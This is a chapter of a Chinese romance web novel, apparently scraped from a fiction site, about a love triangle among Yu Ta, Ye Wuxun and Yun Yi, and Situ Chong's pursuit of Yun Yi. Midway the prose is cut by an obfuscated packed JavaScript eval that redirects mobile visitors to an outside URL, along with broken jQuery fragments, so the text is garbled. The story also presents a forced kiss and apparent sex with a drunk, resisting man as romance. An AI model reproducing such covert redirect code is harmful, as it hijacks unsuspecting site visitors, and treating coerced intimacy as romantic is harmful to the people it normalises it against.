云逸是首先反应过来的人,他颤抖的声音叫了一声:“小七。”
紧走两步,刚想把那个让自己差点儿疯掉的人抱个满怀,就被叶无寻制止了。
“云逸,你瞧清楚了”说着他适时举起自己牵着的那只小手,声音严肃:“小七以后便是我叶无寻的人了,请你往后离她远一点儿。”
云逸瞳孔一缩,脸色惨白:“不可能!”
滑落,寒冰刃紧随其后,直指叶无寻的咽喉。
尤塔见着奋不顾身的挡在叶无寻的前面,态度很坚决:“少爷,他说的都是真的,我喜欢他,往后就想跟他在一起,望你成全!”
寒冰刃定在尤塔的鼻尖处,随着主人的心情微抖着身子。
云逸显然很伤心,他问:“为什么?为什么选他不选我?”
尤塔毫不犹豫,张嘴就来:“因为命中注定。”
“呵,好一个命中注定。”云逸笑着重复了一遍同样的话,随后二话不说召回寒冰刃,头也不回的走了。
莫言神色复杂的瞅了一眼尤塔,实在不知该如何开口,冷着脸冲那些愣在原地的司徒冲的手下说:“走了。”
众人散去,尤塔这才放下了戒备。
叶无寻笑意直达眼底,他知道今天这事儿若是传出去,尤塔到时候反悔都不成了。
尤塔怒瞪了他一眼,然后问:“怎么你的手下一个都没有见到?”
叶无寻用大拇指揉搓着他的柔夷,声音轻柔:“一会儿听到消息就该过来了,你别着急。”
果不其然,须臾,天佑率领一队人马首先冲了过来。
“七姐!”
行至近前,紧急勒住缰绳,他利落的翻身下马,几步就来到了尤塔的跟前,上来就一个熊抱,若不是有叶无寻在斜后方护住了她,非的撞倒了不可。
双臂像铁钳一样紧箍着尤塔,他将脑袋垂在她的颈窝,呜咽道:“对不起,是我不好,没有护好你。”
尤塔轻轻拍了拍他的背:“错不在你,再说了我这不是还活的好好的嘛,所以,我的傻弟弟,别哭了好不好?”
天佑却不肯放过自己:“可是......”
叶无寻适时插话:“没有可是,若非你自作主张带她出来,我还不一定抱得女人归呢!”
说完,他将两人紧握的双手又举了起来,眼神示意天佑往这儿瞧。
天佑愣了一瞬,随即大喜:“姐,是真的吗?”
尤塔一下子羞红了脸,点了点头。
天佑:“太好了,无寻哥终于成我姐夫了,往后咱就是一家人了。”
身后的那些部下听到这个消息也欢呼雀跃起来,有人问:“将军,您啥时候办喜事啊?”
叶无寻扭头就把这个问题抛给了尤塔:“得看她!”
尤塔刚想回嘴,谁知这帮人果真上道:“夫人,那您想啥时候嫁给我们将军啊?”
一帮糙老爷们问一个小姑娘这种问题,这让尤塔很无措,叶无寻其实只是想逗逗她,没成想这帮平时没大没小的家伙还真就顺杆爬了,这还得了?万一人被吓跑了可这么成?
于是正色:“最近军营没出啥事吧?”
天佑刚要回话,这时熠然却率先一步开了口:“主子,大事不好了,香蓉公主带着圣旨来了,说是要见你。”
听到这个消息,叶无寻下意识的瞅了眼尤塔,他眉头紧锁问刚从马上跳下来的熠然:“没说什么事?”
熠然显然也猜到了,却仍是摇了摇头,说:“她没说。”
刹那间,周遭一切全都如同那地上的深雪,寒冷刺骨,让人噤若寒蝉。
尤塔之前喝醉了,并没见过这个公主,况且云逸以往也从不跟她提那些皇亲国戚,达官显贵之间的事,因此她也迷茫的望着叶无寻,见他眉头紧锁,不由心里心里泛起了嘀咕:他似乎不太喜欢那个香蓉公主。
叶无寻神色转变的很快,他扭过头冲尤塔说:“走吧,咱们先回军帐。”
尤塔:“嗯。”
一行人深一脚浅一脚的离开了这里,后面的墓穴口因为里头的震荡再次被皑皑白雪封住,藏在另一个世界,貌似不想被人窥见。
这时,云逸沉默的坐在马车里,驾车的莫言开口问:“少爷,咱们这是要去哪儿?”
云逸久久没有回复,莫言也不催,又过了半盏茶的功夫,他嘶哑的声音从车厢内传出:“到哈萨,看看那边有没有住宿的地方。”
莫言得令驱动着马车往指定的方向行去,同行的人也紧随其后。
行驶了两个半时辰,他们总算到达了那里,经人打听知晓这个小镇只有一家住宿的旅店。
身心俱疲的云逸目前只想大醉一场,所以也就下令在此歇脚了。
刚步入旅馆,迎面走来一个人。
云逸眼瞅着他将裘帽摘了下来,围巾往下扯了扯,漏出本就坚毅的容颜。
云逸一愣,问:“你怎么到这儿来了?”
司徒冲抿了抿嘴,而后才回答:“我听说你这边出事了,不太放心,便过来了。”
云逸觉得他在胡闹,声调立即拔的老高:“那南边怎么办?”
司徒冲反而比他淡定不少:“那边我都安排好了,你不用担心。”
云逸还是不放心,因为他太了解那个人了,那个跟他一脉相连,真正意义上的父亲:“可是......”
可司徒冲不给他任何说话的机会,猛的拉住他的手就往楼上走。
莫言眼皮一跳,刚要去追,却被那些跟随而来的一众人等挡住了去路。
老板也不敢吭声,照着司徒冲之前的吩咐让店里的伙计招待好这群人,而他端着一壶温好的好酒就上了楼。
“咚咚咚。”
司徒冲:“进。”
老板轻轻的推开房门,转身赶忙关上以免外头的凉风让这屋里的人不舒坦。
走了没两步就是一个桌子,他小心翼翼的将酒壶放在上面,笑脸说:“这就是咱们这嘎达最好的酒,冬天喝上一杯酒暖和的不得了,你二位快尝尝。”
司徒冲又让他一会儿再送来一些下酒菜,老板点着头便退出了房间。
这时,司徒冲倒了一杯酒,放到了云逸的面前。
云逸瞅着上头飘着的热气,就像是穿过了这些年经历的种种,回到了当初的刚遇到小七的那一年。
少年的心动不是一朝一夕,一蹴而就的事,可不知为何当初那个丫头的一切怪诞行径都吸引着他的注意力,甚至忘却了父皇的叮嘱,沉沦其中,不想再成为一个麻木的复仇工具。
他想给她一个未来,一个她口中曾说过的世外桃源,可是却终究抵不过命运的安排。
一丝苦笑划过嘴角,毫不犹豫的举起酒杯一饮而尽。
若是当初没有遇见该有多好,那如今也就不会连骨头都疼的要命。
若是当年不那么守礼的话,那么结局会不会就是另一番光景?
一杯杯温热的美酒灌入嘴里尝不出一丝痛快,取而代之的是无尽的苦涩。
一开始司徒冲只想让他喝两杯小酒解解心中的苦闷,却不曾想他竟会以这种不要命的方式喝。
急忙拦住,但执拗的云逸显然根本不领情,他试图掰开司徒冲盖在酒杯上的手,蹙着眉对他发着火:“你起开,让我喝。”
司徒冲:“不行,你醉了,再喝下去非得胃疼不可。”
云逸:“你是我什么人啊?”
闻言,司徒冲一怔,随即一丝难耐的闷疼堵在胸口,出不来。
骄傲如他又怎么不知这句话意味着什么。
即便从下属的信件中猜测出一二,可一路赶来他还是抱着侥幸的心里希望云逸多少是拿他当知己的。
鲁国并不是一个保守的国家,就连当今那个坐在龙椅上的最高统治者鲁二世据传言也有一些非常规的癖好。
所以司徒冲并不觉得他喜欢云逸这件事是一件多么令人匪夷所思,让人难以接受的事。
救命之恩当涌泉相报,可他更想照顾这个脱俗的人一辈子,成为他的臂膀。
两人不论出身还是本领都是相当的匹配,若是只因为性别的缘故错失了良缘,司徒冲会后悔一辈子。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668528|173037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
因此他叮嘱好手下守好南方边界线,并与苗疆族长达成共识一定会将他们盼望北戎可汗羌格尔兑现承诺的事带到,这才马不停蹄的赶了过来。
一路上他每天都会受到部下的信件,里头的内容无一不让他心急如焚。
因为云逸不眠不休好几日徘徊在雪崩的发源地,只为了寻找一个名叫“小七”的姑娘。
他的部下还说叶无寻叶将军是跟那个姑娘一同消失的,当时云先生都疯了,跪在雪地上就用手一个劲儿的挖,手指都破了他也不觉得疼。
在那时司徒冲就知道他输了,输在了时间上,因为他跟云逸相识的实在是太晚了,晚到云逸心里已经住进了别人,他才刚刚出现,与他结交。
虽然遗憾,却也不得不接受现实,因为死人永远无法超越。
于是他将这一回当作最后一次,往后哪怕机会摆在面前他都会避开,再也不见云逸。
然而老天总是爱跟深情的人开玩笑,就在前不久他的手下又给心灰意冷的他来了一副猛药。
信上说:“将军,小七姑娘还活着,而且扬言她喜欢叶将军,两人神色亲密,貌似已经私定终身了。”
短短一行字,让司徒冲再次燃起了希望,因此通过属下的报备他一早就侯在了这个小镇上,就是为了跟云逸坦白。
都说喝酒可以壮胆子,往常为了以身作则,他在军营里从来不喝酒,哪怕是打了胜仗,他也只是婉言拒绝,不令下属扫兴。
可是诉说爱意这种事他本就不擅长,若是再没有酒水壮一壮胆子的话,恐怕这辈子他跟云逸都甭想在一块儿。
他为人向来磊落,即便心上人就在跟前也不敢越雷池一步,然而醉醺醺的云逸实在是太诱人了,哪怕如今凶巴巴的一副要跟他干仗的架势,他也喜欢的不得了。
云逸试图威胁:“你撒不撒?”
司徒冲态度很坚决:“我不。”
云逸气的眼角都红了:“那好,我到外头自己找酒喝。”
说着,他步态趔趄的就往门的方向移动,司徒冲按了按头晕的脑袋定了定神后才立即追了过去:“云逸,你别走。”
云逸:“你不让我走我就不走了,凭什么?”
又是类似的话,然而这一次司徒冲却因为酒劲儿鼓足了勇气:“凭我喜欢你。”
说完,他二话不说就吻了上去,热烈的呼吸伴随着醇香的酒气让两个人瞬间失了分寸。
一开始云逸还在抗拒,可是司徒冲的力道实在是太大了,他死死禁锢住云逸的腰身,不让他乱动分毫。
两人全都是头一次接-吻,难免动作生疏,一时间找不到窍门。
所以,司徒冲横冲直闯的弄的云逸差点儿背过气去。
咆哮的不止生理上的本能,还有心灵的慰藉。
氤氲的眼角是屈服于意外的快感,同时还有对小七那段感情的彻底告别。
夜里的风雪又刮了起来,发出“呜呜”的声音,竟跟屋子里的动静合二为一,让人很难分辨的轻。
老板还算识趣儿,把饭菜放在门口就离开了,并没有敲门打扰到他们。
借着烛光瞧着旁边疲惫不堪的人,司徒冲歉意的将他额前的发丝往耳畔拢了拢。
而后他轻轻在对方额头上印上一个吻,说:“别怪我,我真的很喜欢你。”
这次睡梦中的云逸并不老实,他往前蹭了蹭司徒冲的脖颈,找到一个舒适的位置才彻底消停了。
司徒冲嗅着空气中弥漫着草药香,不自禁的笑弯了嘴角。
他想:或许这就是所谓的幸福的滋味。
从小到大,司徒冲从未对一个人这么着迷过,别人常说他太冷了,以后恐怕讨不到媳妇儿。
每当这时他就会说:讨不到也好,省的人家姑娘跟我遭罪。
可感情事确实谁也说不准,一直对这方面没任何想法的他终于对一个人动了心。
这一下子就一发不可收拾了。
得偿所愿的确是一件令人愉悦的事,司徒冲也相继睡去,两人交颈而卧,相依而眠,竟一夜未醒,好梦不断。